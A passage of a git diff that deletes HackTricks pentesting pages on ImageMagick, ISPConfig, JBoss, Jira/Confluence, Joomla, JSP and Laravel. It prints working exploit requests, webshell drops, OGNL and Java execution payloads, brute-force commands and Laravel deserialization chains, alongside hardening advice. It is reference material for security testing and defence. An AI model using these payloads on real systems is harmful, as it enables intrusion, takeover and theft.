+docker save -o ubuntu.tar 
-```
-
-This is different from older ImageTragick payloads: instead of directly trying to get shell metacharacters into a delegate command, the chain abuses **MVG line injection** and then pivots into a **second-stage MSL script**.
-
-## Ghostscript delegate as the file dropper
-
-ImageMagick usually sends **EPS/PS/PDF** work to a **Ghostscript delegate**. That matters even for an SVG upload, because injected MVG can load an embedded:
-
-```text
-data:image/x-eps;base64,...
-```
-
-payload.
-
-In the published **ImagePanick** repro, Ghostscript `10.06.0` running under SAFER can be abused as a file dropper:
-
-- `.tempfile` creates a writable temp file and also extends the read/write/control permit lists for that temp path.
-- `writestring` stores attacker-controlled MSL bytes.
-- `renamefile` moves the random temp name to a predictable filename such as `/tmp/payload.msl`.
-
-Then a second injected MVG line loads:
-
-```text
-msl:/tmp/payload.msl
-```
-
-and ImageMagick executes the MSL, producing **arbitrary file write**. From there, writing into a web root, cron path, shell init file, or `authorized_keys` is usually enough for practical RCE or persistence.
-
-For more Ghostscript-centric notes, see [Ghostscript Injection](../../pentesting-web/formula-csv-doc-latex-ghostscript-injection.md).
-
-## Quick triage
-
-If a target processes untrusted images, first check which dangerous coders and delegates are still available:
-
-```bash
-magick -list policy
-identify -list format | grep -E 'SVG|MSL|PS|EPS|PDF'
-convert -list delegate | grep -iE 'gs|ghostscript'
-find / -iname policy.xml 2>/dev/null
-```
-
-If the application accepts SVG and the backend simply does:
-
-```bash
-magick input.svg output.png
-```
-
-that alone may be enough to trigger the chain when weak policies and a Ghostscript delegate are present.
-
-## Towards Safer Policies
-
-To address these challenges, a [tool has been developed](https://imagemagick-secevaluator.doyensec.com/) to aid in designing and auditing ImageMagick's security policies. This tool is rooted in extensive research and aims to ensure policies are not only robust but also free from loopholes that could be exploited.
-
-## Allowlist vs Denylist Approach
-
-Historically, ImageMagick policies relied on a denylist approach, where specific coders were denied access. However, changes in ImageMagick 6.9.7-7 shifted this paradigm, enabling an allowlist approach. This approach first denies all coders and then selectively grants access to trusted ones, enhancing the security posture.
-
-```xml
-  ...
-  <policy domain="coder" rights="none" pattern="*" />
-  <policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
-  ...
-```
-
-## Case Sensitivity in Policies
-
-It's crucial to note that policy patterns in ImageMagick are case sensitive. As such, ensuring that coders and modules are correctly upper-cased in policies is vital to prevent unintended permissions.
-
-## Resource Limits
-
-ImageMagick is prone to denial of service attacks if not properly configured. Setting explicit resource limits in the policy is essential to prevent such vulnerabilities.
-
-## Policy Fragmentation
-
-Policies may be fragmented across different ImageMagick installations, leading to potential conflicts or overrides. It's recommended to locate and verify the active policy files using commands like:
-
-```shell
-$ find / -iname policy.xml
-```
-
-## A Starter, Restrictive Policy
-
-A restrictive policy template has been proposed, focusing on stringent resource limitations and access controls. This template serves as a baseline for developing tailored policies that align with specific application requirements.
-
-The effectiveness of a security policy can be confirmed using the `identify -list policy` command in ImageMagick. Additionally, the [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) mentioned earlier can be used to refine the policy based on individual needs.
-
-For **untrusted uploads**, prefer an **allowlist**. If SVG / EPS / PS are not required, explicitly block the dangerous coders instead of trying to blacklist individual bad payloads:
-
-```xml
-<policy domain="coder" rights="none" pattern="{SVG,EPS,PS,MSL}" />
-```
-
-Additional hardening:
-
-- Disable the Ghostscript delegate in `delegates.xml` if EPS / PS support is not needed.
-- Keep coder names upper-cased because policy patterns are **case sensitive**.
-- Prefer a dedicated SVG rasterizer such as `librsvg` for untrusted SVG instead of full ImageMagick + Ghostscript.
-- Run conversions in a sandbox (`nsjail`, `firejail`, container, read-only filesystem, restricted tmpdir).
-
-## References
-
-- [ImageMagick Security Policy Evaluator](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
-- [ImagePanick: From SVG to RCE Chaining Weak Policies and Bugs in ImageMagick and Ghostscript](https://blog.deephacking.tech/en/posts/imagepanick-from-svg-to-rce-imagemagick-ghostscript/)
-- [ImagePanick PoC / Docker lab](https://github.com/e1abrador/ImagePanick/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md
deleted file mode 100644
index f006affc283..00000000000
--- a/src/network-services-pentesting/pentesting-web/ispconfig.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# ISPConfig
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation.
-
-Key default paths:
-- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
-- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
-
-Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
-
-```bash
-ssh -L 9001:127.0.0.1:8080 user@target
-# then browse http://127.0.0.1:9001
-```
-
-## Language editor PHP code injection (CVE-2023-46818)
-
-- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
-- Preconditions:
-  - Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
-  - Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
-- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
-
-References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
-
-### Manual exploitation flow
-
-1) Open/create a language file to obtain CSRF tokens
-
-Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
-
-2) Inject PHP via records[] and save
-
-Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
-
-```http
-POST /admin/language_edit.php HTTP/1.1
-Host: 127.0.0.1:9001
-Content-Type: application/x-www-form-urlencoded
-Cookie: ispconfig_auth=...
-
-lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
-```
-
-Out-of-band test (observe ICMP):
-
-```http
-records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
-```
-
-3) Write files and drop a webshell
-
-Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`):
-
-```http
-records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
-```
-
-Then write a simple webshell using base64 to avoid bad characters in the POST body:
-
-```http
-records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
-```
-
-Use it:
-
-```bash
-curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
-```
-
-If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
-
-### 2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
-
-The language editor bug resurfaced in 3.3.0/3.3.0p1 and was fixed in **3.3.0p2**. Preconditions are unchanged (`admin_allow_langedit` and admin login). The same patch also addressed a monitor XSS and world-readable rotated logs.
-
-**Notes:**
-- On 3.3.0/3.3.0p1, world-readable rotated logs under `/usr/local/ispconfig/interface/log/` may leak credentials if debug logging was enabled:
-
-```bash
-find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
-```
-- Exploit steps match CVE-2023-46818; 3.3.0p2 adds extra checks before language editing.
-
-### Python PoC
-
-A ready-to-use exploit automates token handling and payload delivery:
-- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
-
-Example run:
-
-```bash
-python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
-```
-
-### Metasploit module (released July 2025)
-
-Rapid7 added `exploit/linux/http/ispconfig_lang_edit_php_code_injection`, which can auto-enable `admin_allow_langedit` if the supplied admin account has system-config rights.
-
-```text
-use exploit/linux/http/ispconfig_lang_edit_php_code_injection
-set RHOSTS 10.10.10.50
-set RPORT 8080
-set USERNAME admin
-set PASSWORD <admin_pass>
-set TARGETURI /
-run
-```
-
-The module writes a base64-encoded payload through `records[]` and executes it, giving a PHP Meterpreter or custom payload.
-
-### Hardening
-
-- Upgrade to **3.2.11p1** or later for the original issue, and to **3.3.0p2** or later for the 2025 regression.
-- Disable the language editor unless strictly needed:
-
-```
-admin_allow_langedit=no
-```
-
-- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges
-- Enforce strong authentication for the built-in `admin` account
-
-## References
-
-- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
-- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
-- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
-- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
-- [ISPConfig 3.3.0p2 Released – Security Update](https://www.ispconfig.org/blog/ispconfig-3-3-0p2-released-security-update/)
-- [CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php](https://cxsecurity.com/issue/WLB-2025070017)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md
deleted file mode 100644
index 4e6b7a6f990..00000000000
--- a/src/network-services-pentesting/pentesting-web/jboss.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# JBOSS
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-## Enumeration and Exploitation Techniques
-
-When assessing the security of web applications, certain paths like _/web-console/ServerInfo.jsp_ and _/status?full=true_ are key for revealing **server details**. For JBoss servers, paths such as _/admin-console_, _/jmx-console_, _/management_, and _/web-console_ can be crucial. These paths might allow access to **management servlets** with default credentials often set to **admin/admin**. This access facilitates interaction with MBeans through specific servlets:
-
-- For JBoss versions 6 and 7, **/web-console/Invoker** is used.
-- In JBoss 5 and earlier versions, **/invoker/JMXInvokerServlet** and **/invoker/EJBInvokerServlet** are available.
-
-Tools like **clusterd**, available at [https://github.com/hatRiot/clusterd](https://github.com/hatRiot/clusterd), and the Metasploit module `auxiliary/scanner/http/jboss_vulnscan` can be used for enumeration and potential exploitation of vulnerabilities in JBOSS services.
-
-### Exploitation Resources
-
-To exploit vulnerabilities, resources such as [JexBoss](https://github.com/joaomatosf/jexboss) provide valuable tools.
-
-### Finding Vulnerable Targets
-
-Google Dorking can aid in identifying vulnerable servers with a query like: `inurl:status EJInvokerServlet`
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
deleted file mode 100644
index b4af4fc5e8c..00000000000
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ /dev/null
@@ -1,171 +0,0 @@
-# Jira & Confluence
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Check Privileges
-
-In Jira, **privileges can be checked** by any user, authenticated or not, through the endpoints `/rest/api/2/mypermissions` or `/rest/api/3/mypermissions`. These endpoints reveal the user's current privileges. A notable concern arises when **non-authenticated users hold privileges**, indicating a **security vulnerability** that could potentially be eligible for a **bounty**. Similarly, **unexpected privileges for authenticated users** also highlight a **vulnerability**.
-
-An important **update** was made on **1st February 2019**, requiring the 'mypermissions' endpoint to include a **'permission' parameter**. This requirement aims to **enhance security** by specifying the privileges being queried: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
-
-- ADD_COMMENTS
-- ADMINISTER
-- ADMINISTER_PROJECTS
-- ASSIGNABLE_USER
-- ASSIGN_ISSUES
-- BROWSE_PROJECTS
-- BULK_CHANGE
-- CLOSE_ISSUES
-- CREATE_ATTACHMENTS
-- CREATE_ISSUES
-- CREATE_PROJECT
-- CREATE_SHARED_OBJECTS
-- DELETE_ALL_ATTACHMENTS
-- DELETE_ALL_COMMENTS
-- DELETE_ALL_WORKLOGS
-- DELETE_ISSUES
-- DELETE_OWN_ATTACHMENTS
-- DELETE_OWN_COMMENTS
-- DELETE_OWN_WORKLOGS
-- EDIT_ALL_COMMENTS
-- EDIT_ALL_WORKLOGS
-- EDIT_ISSUES
-- EDIT_OWN_COMMENTS
-- EDIT_OWN_WORKLOGS
-- LINK_ISSUES
-- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
-- MANAGE_SPRINTS_PERMISSION
-- MANAGE_WATCHERS
-- MODIFY_REPORTER
-- MOVE_ISSUES
-- RESOLVE_ISSUES
-- SCHEDULE_ISSUES
-- SET_ISSUE_SECURITY
-- SYSTEM_ADMIN
-- TRANSITION_ISSUES
-- USER_PICKER
-- VIEW_AGGREGATED_DATA
-- VIEW_DEV_TOOLS
-- VIEW_READONLY_WORKFLOW
-- VIEW_VOTERS_AND_WATCHERS
-- WORK_ON_ISSUES
-
-Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
-
-```bash
-#Check non-authenticated privileges
-curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
-```
-
-## Automated enumeration
-
-- [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
-- [https://github.com/bcoles/jira_scan](https://github.com/bcoles/jira_scan)
-
-## Recent RCEs & practical exploit notes (Confluence)
-
-### CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)
-
-* Affects Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Vulnerable Velocity template `text-inline.vm` allows OGNL evaluation without authentication.
-* Quick PoC (command runs as confluence user):
-
-```bash
-curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-  -H 'Content-Type: application/x-www-form-urlencoded' \
-  --data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
-```
-
-* Response header `x-cmd` will contain the command output. Swap `id` for a reverse shell payload.
-* Scanner: nuclei template `http/cves/2023/CVE-2023-22527.yaml` (ships in nuclei-templates ≥9.7.5).
-
-### CVE-2023-22515 – setup reactivation admin creation (auth bypass)
-
-* Publicly reachable Confluence Data Center/Server 8.0.0–8.5.1 allows flipping `setupComplete` and re‑running `/setup/setupadministrator.action` to create a new admin account.
-* Minimal exploit flow:
-  1. `GET /server-info.action` (unauthenticated) to ensure reachability.
-  2. `POST /server-info.action` with `buildNumber` parameters to toggle setup flag.
-  3. `POST /setup/setupadministrator.action` with `fullName`, `email`, `username`, `password`, `confirm` to spawn an admin.
-
-### CVE-2024-21683 – authenticated RCE via Code Macro upload
-
-* Confluence Admin can upload crafted language definition in **Configure Code Macro**; Rhino engine executes embedded Java, leading to RCE.
-* For a shell, upload a `.lang` file containing payload like:
-
-```xml
-<?xml version="1.0"?>
-<languages>
-  <language key="pwn" name="pwn" namespace="java.lang">
-    <tokens>
-      <token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
-    </tokens>
-  </language>
-</languages>
-```
-
-* Trigger by selecting the malicious language in any Code Macro body. Metasploit module `exploit/multi/http/atlassian_confluence_rce_cve_2024_21683` automates auth + upload + exec.
-
-## Atlasian Plugins
-
-As indicated in this [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), in the documentation about [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) it's possible to check the different types of plugins, like:
-
-- [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Expose RESTful API endpoints
-- [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Deploy Java servlets as part of a plugin
-- [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implement Confluence Macros, i.e. parameterised HTML templates
-
-This is an example of the macro plugin type:
-
-<details>
-<summary>Macro plugin example</summary>
-
-```java
-package com.atlassian.tutorial.macro;
-
-import com.atlassian.confluence.content.render.xhtml.ConversionContext;
-import com.atlassian.confluence.macro.Macro;
-import com.atlassian.confluence.macro.MacroExecutionException;
-
-import java.util.Map;
-
-public class helloworld implements Macro {
-
-    public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException {
-        if (map.get("Name") != null) {
-            return ("<h1>Hello " + map.get("Name") + "!</h1>");
-        } else {
-            return "<h1>Hello World!<h1>";
-        }
-    }
-
-    public BodyType getBodyType() { return BodyType.NONE; }
-
-    public OutputType getOutputType() { return OutputType.BLOCK; }
-}
-```
-
-</details>
-
-It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user.
-
-Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.
-
-## Backdoor Plugin
-
-[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) describes different (malicious) actions that could perform a malicious Jira plugin. You can find [**code example in this repo**](https://github.com/cyllective/malfluence).
-
-These are some of the actions a malicious plugin could perform:
-
-- **Hiding Plugins from Admins**: It's possible to hide the malicious plugin injecting some front-end javascript
-- **Exfiltrating Attachments and Pages**: Allow to access and exfiltrate all the data.
-- **Stealing Session Tokens**: Add an endpoint that will echo the headers in the response (with the cookie) and some javascript that will contact it and leak the cookies.
-- **Command Execution**: Ofc it's possible to create a plugin that will execute code.
-- **Reverse Shell**: Or get a reverse shell.
-- **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it.
-
-
-
-## References
-
-- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
-- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md
deleted file mode 100644
index efda84aa843..00000000000
--- a/src/network-services-pentesting/pentesting-web/joomla.md
+++ /dev/null
@@ -1,126 +0,0 @@
-# Joomla
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-### Joomla Statistics
-
-Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).
-
-```bash
-curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
-
-{
-    "data": {
-        "cms_version": {
-            "3.0": 0,
-            "3.1": 0,
-            "3.10": 6.33,
-            "3.2": 0.01,
-            "3.3": 0.02,
-            "3.4": 0.05,
-            "3.5": 12.24,
-            "3.6": 22.85,
-            "3.7": 7.99,
-            "3.8": 17.72,
-            "3.9": 27.24,
-            "4.0": 3.21,
-            "4.1": 1.53,
-            "4.2": 0.82,
-            "4.3": 0,
-            "5.0": 0
-        },
-        "total": 2951032
-    }
-}
-```
-
-## Enumeration
-
-### Discovery/Footprinting
-
-- Check the **meta**
-
-```bash
-curl https://www.joomla.org/ | grep Joomla | grep generator
-
-<meta name="generator" content="Joomla! - Open Source Content Management" />
-```
-
-- robots.txt
-
-```
-# If the Joomla site is installed within a folder
-# eg www.example.com/joomla/ then the robots.txt file
-# MUST be moved to the site root
-# eg www.example.com/robots.txt
-# AND the joomla folder name MUST be prefixed to all of the
-# paths.
-[...]
-```
-
-- README.txt
-
-```
-1- What is this?
-	* This is a Joomla! installation/upgrade package to version 3.x
-	* Joomla! Official site: https://www.joomla.org
-	* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
-	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
-```
-
-### Version
-
-- In **/administrator/manifests/files/joomla.xml** you can see the version.
-- In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
-- In **plugins/system/cache/cache.xml** you can see an approximate version.
-
-### Automatic
-
-```bash
-droopescan scan joomla --url http://joomla-site.local/
-```
-
-In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](#cms-scanners) that can scan Joomla.
-
-### API Unauthenticated Information Disclosure:
-
-Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.
-
-- Users: `http://<host>/api/v1/users?public=true`
-- Config File: `http://<host>/api/index.php/v1/config/application?public=true`
-
-**MSF Module**: `scanner/http/joomla_api_improper_access_checks` or ruby script: [51334](https://www.exploit-db.com/exploits/51334)
-
-### Brute-Force
-
-You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.
-
-```shell-session
-sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
-
-admin:admin
-```
-
-## RCE
-
-If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.
-
-1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
-2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
-3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
-   1. **`system($_GET['cmd']);`**
-4. **Save & Close**
-5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
-
-## From XSS to RCE
-
-- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script that **elevate XSS to RCE or Others Critical Vulnerabilities**. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:**
-  - _**Privilege Escalation:**_ Creates an user in Joomla.
-  - _**(RCE) Built-In Templates Edit:**_ Edit a Built-In Templates in Joomla.
-  - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins.
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/jsp.md b/src/network-services-pentesting/pentesting-web/jsp.md
deleted file mode 100644
index 88430a8e2b9..00000000000
--- a/src/network-services-pentesting/pentesting-web/jsp.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# JSP
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## **getContextPath** abuse
-
-Info from [here](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html).
-
-```
- http://127.0.0.1:8080/&sol;rakeshmane.com/xss.js&num;/..;/..;/contextPathExample/test.jsp
-```
-
-Accessing that web you may change all the links to request the information to _**rakeshmane.com**_:
-
-![JSP - getContextPath abuse: Accessing that web you may change all the links to request the information to rakeshmane.com](<../../images/image (326).png>)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md
deleted file mode 100644
index e330e2df625..00000000000
--- a/src/network-services-pentesting/pentesting-web/laravel.md
+++ /dev/null
@@ -1,332 +0,0 @@
-# Laravel
-
-{{#include ../../banners/hacktricks-training.md}}
-
-### Laravel SQLInjection
-
-Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
-
----
-
-## APP_KEY & Encryption internals (Laravel >=5.6)
-
-Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\Encryption\Encrypter`).
-The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
-
-```json
-{
-  "iv"   : "Base64(random 16-byte IV)",
-  "value": "Base64(ciphertext)",
-  "mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
-  "tag"  : ""                 // only used for AEAD ciphers (GCM)
-}
-```
-
-`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
-`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
-Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
-
-Minimal PoC (framework ≥9.x):
-```php
-use Illuminate\Support\Facades\Crypt;
-
-$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
-$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
-```
-Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
-
----
-
-## laravel-crypto-killer 🧨
-[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
-
-```bash
-# Encrypt a phpggc chain with a known APP_KEY
-laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
-
-# Decrypt a captured cookie / token
-laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
-
-# Try a word-list of keys against a token (offline)
-laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
-```
-
-The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
-
----
-
-## Real-world vulnerable patterns
-
-| Project | Vulnerable sink | Gadget chain |
-|---------|-----------------|--------------|
-| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
-| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
-| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
-
-The exploitation workflow is always:
-1. Obtain or brute-force the 32-byte `APP_KEY`.
-2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).
-3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`.
-4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session …) to trigger **RCE**.
-
-Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:
-
-```bash
-# Invoice Ninja ≤5 – /route/{hash}
-php8.2 phpggc Laravel/RCE13 system id -b -f | \
-  ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
-  xargs -I% curl "https://victim/route/%"
-
-# Snipe-IT ≤6 – XSRF-TOKEN cookie
-php7.4 phpggc Laravel/RCE9 system id -b | \
-  ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
-curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
-
-# Crater – cookie-based session
-php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
-./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
-curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
-```
-
-
-## Mass APP_KEY discovery via cookie brute-force
-
-Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
-
-Key findings of the research published by Synacktiv (2024-2025):
-* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
-* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
-* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
-* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
-
-The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
-
-
-## CVE-2024-52301 – HTTP argv/env override → auth bypass
-
-When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:
-
-- Quick check:
-  - Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
-
-- Impact example (business logic trusting a special env):
-  - If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to:
-    - `POST /login?--env=preprod`
-
-- Notes:
-  - Works per-request, no persistence.
-  - Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
-  - Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.
-
-- Mitigations:
-  - Disable `register_argc_argv` for PHP-FPM/Apache.
-  - Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
-
-Minimal exploitation flow (Burp):
-
-```http
-POST /login?--env=preprod HTTP/1.1
-Host: target
-Content-Type: application/x-www-form-urlencoded
-...
-email=a@b.c&password=whatever&remember=0xdf
-```
-
----
-
-## CVE-2025-27515 – Wildcard file validation bypass (`files.*`)
-
